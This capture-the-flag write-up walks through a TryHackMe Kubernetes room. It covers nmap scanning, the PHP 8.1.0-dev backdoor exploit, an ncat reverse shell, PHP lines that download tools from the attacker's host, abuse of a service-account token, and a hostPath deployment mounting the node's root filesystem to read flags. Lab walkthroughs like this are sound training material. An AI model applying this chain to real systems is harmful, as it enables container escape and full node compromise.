This walk through of TryHackMe room “Frank and Herby try again…..” goes over how to escape from a container to take over the underlying node.

This room is a sequel of Frank & Herby make an app which is also Kubernetes themed.


Lets start off by seeing whats running on the server by doing a quick nmap scan. Additionally I scan for Kubernetes ports since that is the theme.

nmap -T4
# 22/tcp open  ssh

nmap -T4 -p 6443,2379,2380,10250,10259,10257
# 2379/tcp  closed etcd-client
# 2380/tcp  closed etcd-server
# 6443/tcp  closed sun-sr-https
# 10250/tcp open   unknown (kubelet api)
# 10257/tcp open   unknown (kube control manager)
# 10259/tcp open   unknown (kube scheduler)

nmap -T4 -p 30000-32767
# 30679/tcp open  unknown

nmap -T4 -p 30679 -sV
# 30679/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)

We found a web server running php on a node port, lets visit the page.

alt text

Looking up vulnerabilities for PHP 8.1.0-dev I found this article (reminds me of xz).

Using the POC python code it allows us to create a remote shell on the server.

# Enter the host url:

# Interactive shell is opened on
# Can't acces tty; job crontol turned off.
# $ id
# uid=0(root) gid=0(root) groups=0(root)
# <html>...

We’ll that worked, lets find that user flag


Looking in the user web server, home directory, and root paths don’t show anything.

From a df -h it shows there is a service account attached to the pod. Lets try to find if they have any permissions

ls -l /run/secrets/
# lrwxrwxrwx 1 root root 13 Apr  6 00:58 ca.crt ->
# lrwxrwxrwx 1 root root 16 Apr  6 00:58 namespace ->
# lrwxrwxrwx 1 root root 12 Apr  6 00:58 token ->

cat /run/secrets/
# frankland

cat /run/secrets/
# eyJhbGciOiJSUzI1.....

env | grep KUBERNETES
# ...

which curl
# Nothin

We need to install some tool to make requests to the api server with

apt install -y curl
# No internet access :(

Maybe there is some other tool on the system, nothing that I could find. At this point I decided to look into a better reverse shell, because I think we can use php/curl to download files.

New reverse shell

ncat -lvnp 8080

# Ncat: Version 7.80 ( )
# Ncat: Listening on :::8080
# Ncat: Listening on

python3 8080
# Intentionally hangs

# Now we have a shell
# root@php-deploy-6d998f68b9-wlslz:/var/www/html#

The following command can be saved into a file in /var/www/html/foo.php which when the page is visited will download a file (kubectl) that we host on our local machine.

	file_put_contents('kubectl', file_get_contents(''))

Theres defintly a better way but I just copied it line by line with echo. Stop the remote shell and make a http request against the file. Now when checking the file system it should be there.

root@php-deploy-6d998f68b9-wlslz:/var/www/html# ls
# foo.php
# index.php
# info.php
# kubectl

chmod +x kubectl

./kubectl auth can-i --list
# Resources   Non-Resource URLs   Resource Names   Verbs
# *.*         []                  []               [*]
#             [*]                 []               [*]


We finally did it! And full permissions on that, lets enumerate the thing

./kubectl get pods -A
# NAMESPACE     NAME                                       READY   STATUS    RESTARTS       AGE
# kube-system   calico-node-hhvhk                          1/1     Running   16 (55m ago)   2y17d
# frankland     php-deploy-6d998f68b9-wlslz                1/1     Running   3 (55m ago)    2y16d
# kube-system   coredns-64c6478b6c-kj7d2                   1/1     Running   4 (55m ago)    2y17d
# kube-system   calico-kube-controllers-5c5c6c96d9-zf4jg   1/1     Running   17 (52m ago)   2y17d

./kubectl get secrets -A
# There are a lot but the ones in a custom namespace jump out

# frankland         default-token-5fdt4                       3      2y17d
# frankland         op-token-26qmx                            3      2y17d

# Notining we actually need (not a flag)

./kubectl get pods -n frankland php-deploy-6d998f68b9-wlslz -o yaml
# volumes:
# - hostPath:
#     path: /home/herby/app
#     type: Directory

If we edit the deployment to mount /home/herby we can maybe get the user flag. Alternatively we can mount the root directory and then have access to everything. 😋

Lets copy over a file from out machine to create a new deployment that mounts the root directory to the pod

apiVersion: apps/v1
kind: Deployment
  name: php-deploy-2
  namespace: frankland
  replicas: 1
      app: php-deploy
        app: php-deploy
      - image: vulhub/php:8.1-backdoor
        name: php-deploy
        - containerPort: 80
          protocol: TCP
          - mountPath: /var/www/html
            name: frank
          - mountPath: /rooted
            name: root
        - hostPath:
            path: /home/herby/app
            type: Directory
          name: frank
        - hostPath:
            path: /
            type: Directory
          name: root

Same janky php script as before to copy the file

	file_put_contents('backdoor.yaml', file_get_contents(''))

Now we can apply the file and extract the juicy flags.

./kubectl apply -f backdoor.yaml

./kubectl get pods -n frankland
# NAME                           READY   STATUS    RESTARTS      AGE
# php-deploy-6d998f68b9-wlslz    1/1     Running   3 (70m ago)   2y16d
# php-deploy-2-d87d74b9c-9r4lh   1/1     Running   0             117s

./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- ls -l /
# drwxr-xr-x  20 root root 4096 Mar 20  2022 rooted

./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- cat /rooted/home/herby/user.txt

./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- cat /rooted/root/root.txt

Simple once you get around dealing with all the non interactive shells and no internet connectivity